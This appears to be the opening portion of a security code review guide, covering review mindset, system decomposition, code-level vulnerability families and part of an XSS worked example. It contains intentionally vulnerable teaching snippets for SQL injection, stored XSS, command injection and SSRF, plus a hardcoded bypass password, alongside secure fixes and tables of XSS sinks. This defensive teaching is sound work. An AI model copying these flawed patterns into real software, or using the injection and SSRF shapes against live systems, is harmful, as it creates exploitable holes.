

Security Code Review

Manual review skill and AI-assisted practice

Yi Zhang

Version 1.5 · 2026-09-20

<https://iamyi.net>

Copyright

Copyright © 2026 Yi Zhang.

Unless noted otherwise, this minibook is licensed under the [Creative Commons Attribution 4.0 International License \(CC BY 4.0\)](#).

You are free to share and adapt the material for any purpose, including commercially, provided you give appropriate credit.

Published at <https://iamyi.net>. This PDF is a compiled snapshot of the online topic chapters; the website may be newer.

Contents

Preface - Why Security Code Review Skill Still Matters in the Age of AI	5
Chapter 1 - Define Security Code Review.....	12
Chapter 2 - Think Like a Security Reviewer	16
Chapter 3 - System Decomposition Methodology.....	20
Chapter 4 - Review Code-Level Vulnerabilities	24
4.1 - Review XSS.....	26
4.2 - Review Interpreter Injection	33
4.3 - Review Parsers and Unsafe Reconstitution.....	42
4.4 - Review Paths, Uploads, and Files	48
4.5 - Review Authentication, Session, and Access Control	56
4.6 - Review SSRF and Egress	67
4.7 - Review Information Disclosure and Logging	73
4.8 - Review Cryptography in Application Code.....	83
4.9 - Review Secrets, Defaults, and Dangerous APIs	90
4.10 - Review Software Supply Chain.....	100
Chapter 5 - Review Secure Implementations.....	105
5.1 - Review Identity and Federation	107
5.2 - Review Tokens and API Trust.....	117
5.3 - Review Transport and Service Identity.....	126
Chapter 6 - Run AI-Assisted Security Code Review	133
Chapter 7 - Keep AI Review Trustworthy	137
Chapter 8 - Enable Developers to Review Securely	140
Conclusion - Build Defensible Confidence.....	143
4.1 Code Reference — Review XSS	146
4.2 Code Reference — Review Interpreter Injection	162
4.3 Code Reference — Review Parsers and Unsafe Reconstitution	190
4.4 Code Reference — Review Paths, Uploads, and Files	208
4.5 Code Reference — Review Authentication, Session, and Access Control	239
4.6 Code Reference — Review SSRF and Egress	288

4.7 Code Reference — Review Information Disclosure and Logging	303
4.8 Code Reference — Review Cryptography in Application Code.....	337
4.9 Code Reference — Review Secrets, Defaults, and Dangerous APIs	356
4.10 Code Reference — Review Software Supply Chain	393
5.1 Reference — Review Identity and Federation	399
5.2 Reference — Review Tokens and API Trust	432
5.3 Reference — Review Transport and Service Identity	454
Secure Coding in Practice	473

Preface - Why Security Code Review Skill Still Matters in the Age of AI

Overview

AI-assisted coding increases who can ship software and how fast they ship it. More code with uneven security knowledge means more insecure implementations reach review—and “it compiles” is not evidence of safety.

The points below frame the rest of this book.

1. Working code is not the same as secure code; generated code often reproduces familiar insecure patterns with confident syntax.
2. Classic security review questions—who controls the input, what boundary it crosses, what authority the code has—remain the core skill.
3. Security engineering must prevent bad code at generation time and review resulting code at larger scale.
4. AI can amplify review throughput when tasks are constrained; judgment and evidence still close the loop.
5. The goal is defensible confidence: what was checked, what supports the claim, and what risk remains.

After reading this preface, we should be able to explain why review skill still matters in the AI era and what this book will practice next.

The New Code Production Reality

Software is the centerpiece of the internet age, and it will be the foundation of the AI era.

AI-assisted coding changes who can create software. It also changes how fast they can create it. More code is now produced by more people, including non-traditional and less experienced programmers.

This creates a security problem. When more code is written faster, with uneven security knowledge, more insecure code will be produced. Security has to change with the process.

Security code review still has the same function. It examines implementation and removes insecure code before it becomes production risk. But the role of security engineering must expand.

Security engineers cannot only review code after it is generated. They also need to help prevent bad code from being generated in the first place. Secure coding needs to be built into the code generation process. Security engineers still review the resulting code, but they must do it at larger scale and faster pace.

AI-assisted coding changes the economics of software creation. It reduces the distance between an idea and a working implementation. It also reduces the distance between an insecure idea and a working implementation.

The risk is not only that AI may generate a vulnerable snippet. The larger risk is over-dependence: teams may trust generated code because it compiles, passes a quick test, or looks idiomatic. But working code is not the same thing as secure code.

AI-assisted coding systems are trained on large bodies of existing code. Public code contains many insecure patterns. There is far more ordinary, incomplete, outdated, tutorial-style, copied, and vulnerable code than carefully reviewed secure code.

That means generated code can reproduce familiar mistakes with confident syntax:

- string-built SQL queries instead of parameterized statements
- raw output rendering instead of output encoding
- path construction from user input
- weak session or cookie handling
- hardcoded secrets and debug bypasses
- denylist-based filtering where allowlists or stronger design controls are needed

For security engineers, this creates a new challenge. The problem is no longer only "Can I review this code?" It is also "Can I review enough code, fast enough, with enough context, and still produce accurate security judgment?"

This book is about that challenge.

Why Classic Security Code Review Still Matters

Security code review is a specialized form of analysis. It asks whether implementation behavior can be abused. It does not stop at asking whether implementation behavior works.

Functional review asks questions such as:

- Does the feature do what the ticket requested?
- Is the code readable?
- Are edge cases handled?
- Do tests pass?

Security review asks a different set of questions:

- Who controls this input?
- What trust boundary does it cross?
- What authority does this code execute with?
- Is authentication being confused with authorization?
- Could this behavior expose data, change state, or execute attacker-controlled logic?

- What assumption would need to be false for this code to become dangerous?

These questions are old, but they are not obsolete. AI-assisted development makes them more important because generated code can be syntactically clean while preserving insecure assumptions.

Consider the classic SQL injection pattern from the reference article:

```
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
```

The code is easy to understand. It may even work in a demo. But it mixes query structure with attacker-controlled input.

The secure pattern separates code from data:

```
String query = "SELECT * FROM User WHERE username = ? AND password = ?";

PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
statement.setString(2, passwordHash);

resultSet = statement.executeQuery();
```

This is a classic lesson, but it remains relevant in AI-generated code. A model can produce either pattern. The reviewer still needs to know which one preserves the security boundary.

From Classic Review to AI-Assisted Security Review

This mini-book has two goals. First, it reviews classic security code review techniques. Then it shows how security engineers can use AI-assisted review in a scalable and accurate way.

Classic review techniques still provide the foundation:

- input validation and parsing
- output encoding
- authentication and authorization review
- session management review
- injection analysis
- file and path handling review
- secure logging
- secret management
- dependency and framework configuration review
- secure-by-default implementation checks

AI can help with this work, but it should not replace the underlying reasoning. Used well, AI can help a security engineer summarize a codebase and generate review checklists. It can also identify suspicious data flows, map patterns to vulnerability classes, explain unfamiliar code, and compare a proposed fix against secure coding principles.

For a small codebase, AI-assisted review can help a security engineer move faster. It can summarize the feature, identify likely trust boundaries, generate review questions, and focus attention on high-risk functions.

For a large codebase, AI-assisted review can help manage scale. It can summarize modules, cluster risky patterns, find repeated anti-patterns, connect related code paths, and help prioritize review depth.

But accuracy still depends on human validation. The reviewer must verify evidence, confirm exploitability, understand business context, and decide whether a finding is real. AI can reduce review friction, but it cannot remove the need for security judgment.

Working Code Is Not Necessarily Secure Code

Many security issues come from code that behaves exactly as the developer intended. The problem is that the intent did not include the attacker.

Stored and reflected XSS are examples of this problem. A page can correctly retrieve a username and display it back to the user. It can still fail to encode output safely.

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws
ServletException, IOException {
    User user = databaseManager.getUserFromId(request.getParameter("id"));
    request.setAttribute("user", user.getUsername());
    doForward(request, response);
}
```

If the value is rendered directly in the page, functional behavior and insecure behavior can look identical during normal testing:

```
<div id="hello-message">
    <p>Hello user <%=request.getAttribute("user")%>. Welcome to the platform!</p>
</div>
```

The secure review question is not only "Does this display the username?" It is also "What happens if the username contains markup or script content?" The reviewer also needs to ask where output encoding is enforced.

The reference article shows the safer JSP/JSTL pattern:


```
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<div id="hello-message">
  <p>Hello user <c:out value="${requestScope.user}" />. Welcome to the platform!</p>
</div>
```

This is the kind of difference security review is designed to catch. The vulnerable and secure versions may be close in size, style, and apparent complexity. The important difference is the security property.

The same principle appears in small shortcuts. A debug bypass password may be only one line:

```
optionalUser.ifPresent(user -> {
    if (this.bCryptUtils.checkPasswordHash(password, user.getPassword()) ||
        "byp@33_p@ssw0rd".equals(password)) {
        HttpSession session = req.getSession();
        session.invalidate();
        // ...
    }
});
```

This is not a complex algorithmic flaw. It is a simple implementation decision with a serious security consequence. A reviewer must notice that small shortcuts are not harmless.

Why AI Changes the Stakes

AI-assisted coding increases both productivity and ambiguity.

It can produce a working implementation quickly. But the reviewer may not know where the generated code pattern came from. It may come from a secure pattern, an outdated tutorial, or an unsafe mix of examples.

The code may look clean. The comments may sound reasonable. The function names may be polished. None of that proves the implementation is safe.

Some vulnerability classes are especially important in this environment because they require reasoning about attacker-controlled input and trust boundaries.

For example, command injection appears when user-controlled data reaches an external command:

```
String[] cmd = { "/bin/sh", "-c", 'ping '+hostname };
Process p = Runtime.getRuntime().exec(cmd);
```

SSRF appears when user-controlled input influences a server-side request:

```
URL url = new URL("http://127.0.0.1" + endpoint);
StringBuilder result = new StringBuilder();
URLConnection conn = (URLConnection) url.openConnection();
conn.setRequestMethod("GET");
try (BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()))) {
    for (String line; (line = reader.readLine()) != null;) {
        result.append(line);
    }
}
```

The issue is not simply the API call. The issue is the relationship between input, authority, and reachable resources. If endpoint is attacker-controlled, the server may become a bridge into internal services:

```
POST data: {"endpoint" : "/users/1"}
# Result: '{"username" : "user"}'

Attackers can control the endpoint data in the POST request to access endpoints otherwise blocked
by external hosts.
POST data: {"endpoint" : "/secret"}
# Result: '{"secret_key" : "a092fb8ab2c2"}'
```

This is where AI assistance can help and mislead. AI may identify the pattern. It may also suggest a denylist, miss an internal trust boundary, or fail to understand which endpoints should be reachable.

Human review remains responsible for the final security judgment.

The Three Layers of This Book

This book progresses through three layers.

The first layer is theory. It defines security code review and explains how it differs from general code review. It also introduces the mental models that make review systematic: uncertainty reduction, threat-oriented thinking, trust boundaries, attack surface, and defensible confidence.

The second layer is practice. It moves from broad methodology into concrete review work: manual review, code-level analysis, dependency review, automation, and AI-assisted workflows. The goal is not only to list vulnerability classes. It is to show how a reviewer thinks from system behavior down to implementation details.

The third layer is training. Security code review is a skill that improves through repeated exposure to real patterns. The later chapters discuss how to build reviewer capability with vulnerable examples, secure patches, structured exercises, AI-assisted workflows, and internal review programs.

The book is written for security engineers, AppSec engineers, security champions, software engineers who care about secure implementation, and teams trying to make review more scalable without making it shallow.

The Core Outcome: Defensible Confidence

The objective is not perfection.

Perfect security review is not realistic for modern software systems. Codebases are too large. Dependencies are too deep. Delivery cycles are too fast. Implementation context changes too often.

The objective is defensible confidence.

Defensible confidence means the reviewer can explain the review. They can say what was reviewed, why it mattered, what assumptions were tested, what evidence was found, and what risk remains. It turns vague assurance into structured judgment.

That is why security code review matters in the age of AI. AI can generate code faster than organizations can manually inspect every line. The answer is not to abandon review. The answer is to make review more systematic, more evidence-driven, and more scalable.

Security code review is no longer only about finding bugs in human-written code. It is about validating software behavior in an environment where code may be generated, copied, remixed, accelerated, and deployed faster than ever before.

How to Read This Mini-Book

Read the early chapters as the foundation: terminology, principles, and mental models.

Read the middle chapters as practice. They show how to move from system understanding to specific review targets. They also show how to reason about vulnerabilities and combine manual and automated techniques.

Read the AI chapters as operating guidance. They explain where AI can accelerate review, where it can fail, and how security engineers can keep human judgment in the loop.

Read the training chapters as a way to scale the skill across a team.

The purpose of this book is not to make every reader a perfect reviewer. The purpose is to make security review more explainable, repeatable, and useful. That matters more as software creation becomes faster, broader, and more AI-assisted.

Chapter 1 - Define Security Code Review

Overview

Security code review is code review with an attacker in mind. Functional review asks whether a feature works; security review asks whether the feature can be abused when input, identity, or environment is hostile.

The points below are the ideas this chapter uses again and again.

1. Correct behavior and safe behavior are related but not the same.
2. Security questions start from attacker-controlled input, trust boundaries, and authority.
3. Risk is explained through confidentiality, integrity, and availability impact.
4. Working output is review evidence, not proof of safety.
5. The reviewer states assumptions, evidence, and remaining uncertainty.

After reading this chapter, we should be able to distinguish functional review from security review and state the questions that drive a security finding.

Distinguish Correct Code From Safe Code

Security code review keeps the foundation of general code review—understandability and alignment with intent—then asks a harder question: what happens if the input, user, or environment is hostile? Functional code review focuses on intended functionality; security code review focuses on unintended consequences.

This is what makes security review different. It does not only ask whether the feature works. It asks whether the feature can be abused.

Functional correctness and security are related, but they are not the same.

A login feature may accept a username and password. It may return the correct user when the credentials are valid. From a functional view, that can look successful.

But the implementation can still be unsafe:

```
sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
```

The code may produce a valid query. The security problem is that attacker-controlled input is mixed into the query structure. A security reviewer asks what happens when username or password contains SQL syntax.

The safer pattern separates code from data:

```
String query = "SELECT * FROM User WHERE username = ? AND password = ?";

PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
statement.setString(2, passwordHash);

resultSet = statement.executeQuery();
```

This example shows the difference. General review may ask whether the login works. Security review asks whether the login can be manipulated.

Ask Security Questions

Security review starts with a different set of questions. The list below moves attention from intended behavior to abuse.

- What input is attacker-controlled?
- What trust boundary is crossed?
- What authority does the code have?
- What validation or encoding is applied?
- What impact is possible if the assumption is wrong?

These questions move the review from behavior to abuse. They help the reviewer see beyond the normal path.

This matters because attackers do not use software only as intended. They change parameters, skip screens, replay requests, inject syntax, and look for places where the code trusts the wrong thing.

Map Risk to Confidentiality, Integrity, and Availability

Security code review often maps risk to three basic objectives: confidentiality, integrity, and availability.

Confidentiality asks whether the code protects data from unauthorized access. An insecure direct object reference can break confidentiality if one user can view another user's record by changing an ID.

Integrity asks whether the code prevents unauthorized changes. A missing authorization check can break integrity if a user can modify data they do not own.

Availability asks whether the code keeps the system usable. Unsafe parsing, expensive operations, or unbounded resource use can create denial-of-service risk.

These objectives keep the review practical. The reviewer does not need to label every issue perfectly at first. They need to explain what can go wrong and why it matters.

Treat Working Output as Review Evidence, Not Proof

XSS is another example of correct behavior becoming unsafe behavior.

A page may retrieve a username and display it:

```
<div id="hello-message">
  <p>Hello user <%=request.getAttribute("user")%>. Welcome to the platform!</p>
</div>
```

The page may look correct during normal testing. But if the username contains markup or script content, the page may render attacker-controlled code.

The safer pattern uses output encoding:

```
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<div id="hello-message">
  <p>Hello user <c:out value="${requestScope.user}" />. Welcome to the platform!</p>
</div>
```

The security issue is not that the page displays the wrong **value**. The issue is that it displays the value in the wrong **trust context**.

Reduce Risk Instead of Only Finding Bugs

Security code review is not only a hunt for individual bugs.

A single finding is useful, but the larger goal is risk reduction. The reviewer looks for insecure assumptions, missing controls, and patterns that may repeat across the codebase.

This is where "defensible confidence" matters. A security reviewer should be able to explain what was reviewed, what evidence was found, what assumptions were tested, and what risk remains.

That does not mean every line has been proven safe. It means the review produced a reasoned security judgment.

Fit Security Review Into Delivery

Security review works best when it is part of the development lifecycle.

It can happen during design, when trust boundaries are still flexible. It can happen during implementation, when pull requests are still small. It can happen in CI/CD, where automated checks can support human review.

In a DevSecOps workflow, security review should not be a late surprise. It should be part of how teams build software. Automation can help find common patterns, but human review is still needed for context, ownership, and abuse paths.

Key Takeaway

Security code review is a deeper form of code review.

It starts with the same engineering discipline: read the code, understand the intent, and question the assumptions. Then it adds the security lens: who can influence this behavior, what trust boundary is crossed, and what impact is possible?

The next chapter builds on this by explaining how a security reviewer thinks through trust, attacker control, and uncertainty.

Chapter 2 - Think Like a Security Reviewer

Overview

Security review is a way to reduce uncertainty. The work is not only hunting known bug patterns; it is testing assumptions about who controls data, where trust changes, and what happens when a control fails.

The points below are the ideas this chapter uses again and again.

1. Make trust, attacker control, expected controls, and failure modes explicit.
2. Think in threats (abuse) as well as bugs (defects).
3. Separate assumption from evidence; verify on the server where the attacker cannot remove the check.
4. Pay closest attention at trust boundaries.
5. Prefer secure defaults and observable behavior over silent fail-open paths.

After reading this chapter, we should be able to run a review as uncertainty reduction and reach defensible confidence about what was checked and what remains open.

Reduce Uncertainty

Security code review starts with an attacker in mind. This chapter turns that mindset into repeatable practice. Security review asks what the code assumes, whether that assumption is safe, and what happens when the assumption is false.

Software always contains uncertainty.

The reviewer may not know who controls an input. The developer may not know whether a downstream function trusts that input. The team may not know whether a feature can be reached in an unexpected order.

Security review reduces that uncertainty by making questions explicit. The questions below keep the review honest.

- What is trusted?
- What is attacker-controlled?
- What security control is expected?
- Where is that control enforced?
- What happens if the control fails?

The goal is not to prove perfect safety. The goal is to reach defensible confidence. We should be able to explain what was checked, what evidence was found, and what risk remains.

Think in Threats, Not Only Bugs

A bug is a defect in implementation. A threat is a way the system can be abused.

Security review needs both views. A reviewer may find a missing validation check, but the next question is more important: what can an attacker do with it?

For example, client-side validation can improve user experience:

```
<input type="text" id="username" name="username" pattern="[a-zA-Z0-9]{4,20}" required>
```

This helps the browser guide normal users. It does not prove the server is safe. An attacker can bypass the browser and send a request directly.

The review principle is simple: do not trust a control just because it appears in the client. Security controls must be enforced where the attacker cannot remove them.

Verify Assumptions

Security review should separate assumption from evidence.

An assumption sounds like this: "The user cannot change that value." Evidence sounds like this: "The server derives that value from the authenticated session and ignores the request parameter."

This difference matters. Many security issues happen when code trusts a value because the normal user interface does not expose it. Attackers are not limited to the normal interface.

The questions below connect implementation to trust.

- Where does this value come from?
- Can the user modify it?
- Is it checked on the server?
- Is the check close enough to the sensitive action?

These questions prevent a review from becoming a checklist exercise. They force the connection from implementation to trust.

Respect Trust Boundaries

A trust boundary is a place where data moves from one level of trust to another.

Examples include browser to server, public API to internal service, user session to admin action, and uploaded file to parser. Security review pays close attention to these boundaries because assumptions often break there.

Cookies are a simple example. Cookie attributes define how much trust the browser and server place in session data:

```
<session-config>
  <cookie-config>
    <http-only>true</http-only>
    <max-age>600</max-age>
  </cookie-config>
</session-config>
```

HttpOnly helps protect cookies from client-side script access. Secure helps ensure cookies are sent over HTTPS. SameSite can reduce cross-site request risk.

The review principle is not "set every flag and move on." The principle is to understand the boundary. Session data crosses between browser and server, so the reviewer must ask how it is protected.

Prefer Secure Defaults and Least Privilege

Secure defaults reduce the chance that a developer has to remember every security detail.

A secure default means the safer behavior happens unless someone deliberately changes it. Least privilege means code, users, and services should have only the authority they need.

These principles matter because review cannot depend on perfect memory. A framework that encodes output by default, a session cookie that is secure by default, or a role check that is required by default reduces the number of risky decisions.

Security review should look for places where the default is too permissive. It should also look for custom logic that bypasses framework protections.

Make Behavior Observable

Security review also checks whether important behavior can be observed.

If authentication fails, authorization is denied, validation rejects input, or sensitive data is accessed, the system should leave useful evidence. Good logging helps teams investigate abuse and confirm that controls work.

But observability has limits. Logs should not expose secrets, passwords, tokens, session identifiers, or sensitive personal data. A log that helps debugging can become a data leak.

This is the review balance. The system should record enough to support investigation, but not so much that the logs become another sensitive data store.

Key Takeaway

Security review is guided by principles, not only by bug lists.

The reviewer reduces uncertainty, thinks in threats, verifies assumptions, respects trust boundaries, prefers secure defaults, and checks whether important behavior is observable. These principles turn security review into a repeatable discipline.

The next chapter turns this discipline into a practical manual review method.

Chapter 3 - System Decomposition Methodology

Overview

Security review starts by making a large system understandable. Opening random files wastes time; useful review begins by decomposing the system into subsystems with clear business purpose, functional responsibility, and security boundaries.

The points below are the ideas this chapter uses again and again.

1. Start from system purpose, then define internal structure and candidate subsystems.
2. Review business logic and authentication/authorization intent before file layout.
3. Trace data flows across trust boundaries and name the controls that must exist at each crossing.
4. Group code under the subsystem it supports so findings stay contextual.
5. Produce a map that tells where to verify controls before diving into sinks.

After reading this chapter, we should be able to build a subsystem map, place a change on that map, and know which boundaries and controls to verify next.

Start With the Complete System

This chapter combines business logic review, authentication and authorization review, and data-flow tracing into one workflow. The result is a map that shows where code belongs, where data crosses boundaries, and where security controls must be verified.

System decomposition starts with the system as one object.

Before reviewing classes or functions, the reviewer should understand why the system exists. What business motivation does it serve? What project objective does it support? What user stories or operational goals make the system useful?

This creates the first review frame. The system is not only a collection of files. It is a set of business and technical goals implemented through connected functions.

The reviewer uses that frame to ask which parts of the system protect data, change state, grant access, call other services, or enforce user intent.

Define the Internal Structure

The next step is to define the system's internal structure.

Start from business motivation, then move to project objectives, functional goals, and user stories. Each user story usually points to one or more capabilities. Those capabilities become candidate subsystems.

For example, a user account system may separate into registration, login, session management, profile management, password reset, authorization, notification, and audit logging. These subsystems are functionally separated, but they are still connected.

This internal structure gives the reviewer a first map. It shows what each subsystem is supposed to do and which goals it supports.

Once the map exists, group routes, services, classes, functions, jobs, data models, and configuration under the subsystem they support. This turns scattered code into reviewable units.

Review Business Logic Before File Structure

Business logic helps define subsystem boundaries.

A codebase may not be organized the same way the business works. Files may be grouped by framework convention, team ownership, or historical accident. Security review should still start from what the system is trying to enforce.

The reviewer should ask what journey the user is expected to follow. What should the user be allowed to do? What order should the steps happen in? What state must exist before the next action is allowed?

These questions reveal subsystems. A password reset flow, for example, may include user lookup, token generation, email delivery, token verification, password update, session invalidation, and audit logging. Those parts may live in different files, but they belong to one reviewable security workflow.

Authentication and authorization are especially useful for decomposition. Authentication asks who the caller is. Authorization asks whether that caller can perform the action on the target object. Each place where these questions must be answered is a subsystem boundary or a sensitive control point.

Trace Data to Separate Connected Subsystems

Data-flow tracing shows how subsystems connect.

After business logic defines the first subsystem map, the reviewer follows important data from source to sink. A source is where data enters the system. A sink is where that data becomes security-sensitive, such as a database query, authorization decision, file path, HTML response, internal request, parser, or log.

Tracing the journey of data helps separate and connect subsystems at the same time. A user ID may enter through an HTTP parameter, pass through a controller, reach a service, load a database object, and then require an ownership check. That path may cross routing, business logic, data access, and authorization subsystems.

The reviewer should not treat those layers as isolated files. The review target is the path. If attacker-controlled data crosses a trust boundary, the reviewer must know which subsystem receives it, which subsystem transforms it, and which subsystem enforces the control.

This is why data-flow tracing belongs inside system decomposition. It proves whether the proposed subsystem boundaries match how the application actually processes data.

Model Threats for Each Subsystem

Threat modeling tests each subsystem against realistic abuse.

For each subsystem, start with intent. What is this subsystem supposed to do? What data does it receive, change, store, or expose? What authority does it have? What would go wrong if an attacker controlled its input or called its interface out of order?

Then list the attack surface. This includes interfaces, services, APIs, data exchange points, background jobs, messages, webhooks, file operations, and trust boundaries. These are the places where input, authority, or state crosses from one context into another.

Threat modeling helps the reviewer test robustness, offensiveness, and resilience. Robustness asks whether the subsystem handles hostile input and unexpected state. Offensiveness asks how an attacker could abuse the subsystem. Resilience asks whether the subsystem fails safely and leaves useful evidence.

Frameworks such as STRIDE and MITRE ATT&CK can help structure this thinking. STRIDE helps classify threat types. ATT&CK helps connect code behavior to realistic adversary techniques. The framework is not the goal. The goal is to produce concrete risks and attack paths that can be verified in code.

Verify Controls at the Code Layer

The final step reaches classes, methods, and lines of code.

At this layer, the reviewer verifies security controls. A security control is the code or configuration that prevents, detects, limits, or records abuse. Examples include authentication checks, authorization checks, input validation, output encoding, rate limits, token expiration, secure cookie flags, allowlists, logging, and safe parser settings.

The reviewer should connect each control back to the risk it is supposed to mitigate. If the threat model says a user may try to access another user's profile, the code review must verify the ownership check. If the threat model says an attacker may send internal service requests, the code review must verify destination restrictions and allowlists.

This is where review becomes evidence-based. The reviewer can say which risk was considered, where the control exists, how the data flows, and what risk remains.

Key Takeaway

System decomposition gives security review a map.

Start with the complete system. Break it into business and functional subsystems. Review business logic, authentication, and authorization to confirm the intended boundaries. Then trace data from source to sink to verify how those subsystems actually connect.

This method prepares the reviewer for the next part: reviewing code-level vulnerabilities and verifying security controls in implementation.

Chapter 4 - Review Code-Level Vulnerabilities

Overview

Code-level security analysis is the final layer of the methodology. Earlier chapters defined structure, modeled subsystem threats, traced data, and checked business logic. This part asks how variables, functions, libraries, parsers, and framework calls turn attacker-controlled input into security impact.

The goal is not to memorize every CWE. The points below are the ideas Part III uses again and again.

1. Trace data from source to sink across a trust boundary before labeling a bug class.
2. Related vulnerabilities share one failure model; learn the model once, then adjust sources and sinks per variant.
3. Separate input validation from output encoding (or parameterization) at the right context.
4. Record source, sink, missing control, impact, and a test that would prove a fix.
5. Keep dense payloads and multi-language catalogs in the appendix so guiding chapters stay readable.

After reading this overview and the family chapters, we should be able to review a code change by family, produce evidence-backed findings, and know when to open the appendix for density.

Ten Family Chapters (Consolidated)

Former forty-two mini-chapters are grouped into **ten families**. Each family shares one review model, lists variants with where-to-look tables, walks one primary example, and points to the appendix for payloads and multi-language catalogs.

#	Family	Former mini-chapters (examples)
4.1	XSS	Stored, reflected, DOM
4.2	Interpreter injection	SQL, command, code, JSON, SSTI
4.3	Parsers & reconstitution	XXE, dynamic JSP include, deserialization
4.4	Paths, uploads & files	Path traversal, upload, temp files, parsing
4.5	Authn, session & access	CSRF, session, IDOR, JWT (code-level), cookies
4.6	SSRF & egress	SSRF, internal/egress exfiltration
4.7	Disclosure & logging	Errors, URLs, enumeration, logging, comments
4.8	Cryptography	Implementation, non-standard crypto, enc/dec mistakes
4.9	Secrets, defaults & APIs	Secrets, dangerous functions, defaults, client-only validation
4.10	Supply chain	Dependencies and build trust

How to Use a Family Chapter

The sequence below is the same for every family chapter.

1. **Shared model** — the review question for the whole family.
2. **Variants** — short definitions and where-to-look tables (former mini-topics).
3. **Worked example** — one Python sample and step-by-step walkthrough.
4. **Risk, fix principles, verify** — family-level evidence habits.
5. **Appendix pointer** — payloads, sinks, and multi-language fixes.

Code-Level Appendix

Open the [Appendix — Code-Level Reference](#) when density is needed. Each family has one appendix page with subsections for every former mini-chapter. Guiding chapters and appendix pages link both ways.

The archive article [Secure Coding in Practice](#) remains available as background reading.

Core Review Habits

Most code-level findings still start with data flow. The questions below keep the review grounded.

- Where does the data come from?
- What code transforms it?
- Where is it used (the sink)?
- Is the data attacker-controlled?

Separate **input validation** from **output encoding**. Validation decides whether data is acceptable for the application. Encoding makes data safe for a specific output context (HTML, SQL, shell, URL).

When we finish a family chapter, we should be able to record source, sink, missing control, impact, and a test that proves the fix.

Next: Secure Implementations

After code-level patterns, continue with [Chapter 5 - Review Secure Implementations](#)—identity and federation, tokens and API trust, and transport and service identity.

4.1 - Review XSS

Overview

Cross-site scripting is the same core failure in three delivery shapes: untrusted data reaches an HTML or JavaScript sink without context-appropriate encoding. The control is almost always **encode (or sanitize) at the sink for the output context**—not denylist filters on input alone.

The points below are the ideas this family chapter uses again and again.

1. Untrusted data reaches an HTML or JavaScript sink without context-appropriate encoding.
2. Encode or sanitize at the sink for the output context; denylist filters on input alone are not enough.
3. Stored, reflected, and DOM XSS share the same failure with different delivery shapes.
4. Name source, sink, missing control, impact, and a proving test for every finding.
5. Dense payloads and multi-language sinks live in the family appendix.

After reading this chapter, we should be able to review XSS as one family, distinguish delivery variants, and verify encoding at every relevant sink.

Shared Review Model

Across every variant below, keep the same evidence habit: name the **source**, the **sink**, the **missing control**, the **impact**, and a **test** that would prove a fix.

Variants in This Family

Stored XSS { : #stored }

Stored XSS is a client-side injection flaw. The application accepts user input, stores it, and later embeds that value in an HTML response (current page or a later view). If the value is not encoded for HTML, the browser may run attacker-supplied script when another user loads the page.

Where to look

Signal	Where to look
Feature type	Profiles, comments, support tickets, product reviews, admin notes, notification text, searchable stored fields
Input entry	POST forms, JSON API fields, multipart metadata, background jobs importing user content
Persistence	SQL/NoSQL columns, object storage, cache keys, session-backed “display name”
HTML sinks	Server templates, <code>render_template_string</code> , email HTML builders, SPA APIs feeding <code>innerHTML</code>
Weak controls	Regex denylist only, <code> safe / @Html.Raw</code> , JSP scriptlets, missing auto-escape in templates
High impact views	Admin dashboards, moderator queues, exports—stored payloads often hit privileged users

Appendix detail: [Stored XSS code reference](#).

Reflected XSS { #reflected }

Reflected XSS is a client-side injection flaw. The application reads input from the current HTTP request and embeds it directly in the HTML response. If the value is not encoded for HTML, the browser may execute attacker-supplied script when a victim opens a crafted link.

Where to look

Signal	Where to look
Feature type	Search pages, login errors, greeting banners, 404 handlers, redirect messages, OAuth error pages
Input entry	Query strings, POST form fields, path segments, Referer echoes, cookie values shown in UI
Single-request echo	Value enters and exits in one round trip; no database between input and output
HTML sinks	f-strings, <code>render_template_string</code> , JSP scriptlets, <code>@Html.Raw</code> , <code>Response.Write</code> , SPA <code>innerHTML</code>
Weak controls	Regex input filters only, <code> safe / Markup()</code> , missing auto-escape, JavaScript string concat
High impact views	Authenticated pages that reflect search terms, admin error handlers, password-reset flows

Appendix detail: [Reflected XSS code reference](#).

DOM XSS {:#dom }

DOM XSS is a client-side injection flaw. The server may return a static or minimally dynamic page; the vulnerability lives entirely in front-end JavaScript (or inline script in HTML). Browser-controlled input reaches a dangerous sink without context-appropriate encoding. The attacker crafts a link or fragment; the victim's browser runs the payload when client code processes that input.

Where to look

Signal	Where to look
Feature type	OAuth/OIDC callback pages, client-side routers, “welcome” banners, error toasts, wiki/help viewers, postMessage widgets, client-side search highlighting
Sources	location.hash, location.search, document.URL, document.referrer, window.name, localStorage / sessionStorage, postMessage data, WebSocket messages parsed in JS
DOM sinks	innerHTML, outerHTML, insertAdjacentHTML, document.write, document.writeln, Range.createContextualFragment
JS sinks	eval, Function, setTimeout("...", ms), setInterval("...", ms), location / location.href assignment, javascript: URLs
Framework sinks	React dangerouslySetInnerHTML, Vue v-html, Angular [innerHTML], jQuery .html() / .append()
Weak controls	Regex strip of <script> only, client-side “sanitizer” without allowlist, trusting postMessage origin loosely

Appendix detail: [DOM XSS code reference](#).

Worked Example (Stored XSS)

We walk **Stored XSS** in depth. Apply the same tracing steps to the other variants, adjusting sources and sinks from the tables above.

Sample vulnerable code (Python)

```
from flask import Flask, request, redirect, session

app = Flask(__name__)

@app.route("/support/tickets", methods=["POST"])
def create_ticket():
    # Attacker-controlled subject and body persist without encoding policy
    subject = request.form["subject"]
    body = request.form["body"]
    db.execute(
        "INSERT INTO tickets (user_id, subject, body) VALUES (?, ?, ?)",
        (session["user_id"], subject, body),
    )
    return redirect("/support/tickets")

@app.route("/support/tickets")
def list_tickets():
    rows = db.execute(
        "SELECT subject, body FROM tickets ORDER BY created_at DESC LIMIT 20"
    ).fetchall()
    # Sink: stored ticket body concatenated into HTML – no encoding
    html = "<ul>"
    for row in rows:
        html += f"<li><b>{row['subject']}</b><p>{row['body']}</p></li>"
    return html + "</ul>"
```

Step-by-step review walkthrough

1. **Find write + read pairs.** Search for INSERT/UPDATE on user-editable fields, then SELECT paths that feed HTML. Stored XSS requires both persistence and display.
2. **Trace the Python (or equivalent) write path.** In the sample, `request.form["body"]` flows straight into SQL. Ask whether any canonicalization runs before storage; storage-time stripping is not a substitute for render-time encoding unless the field is strictly non-HTML forever.
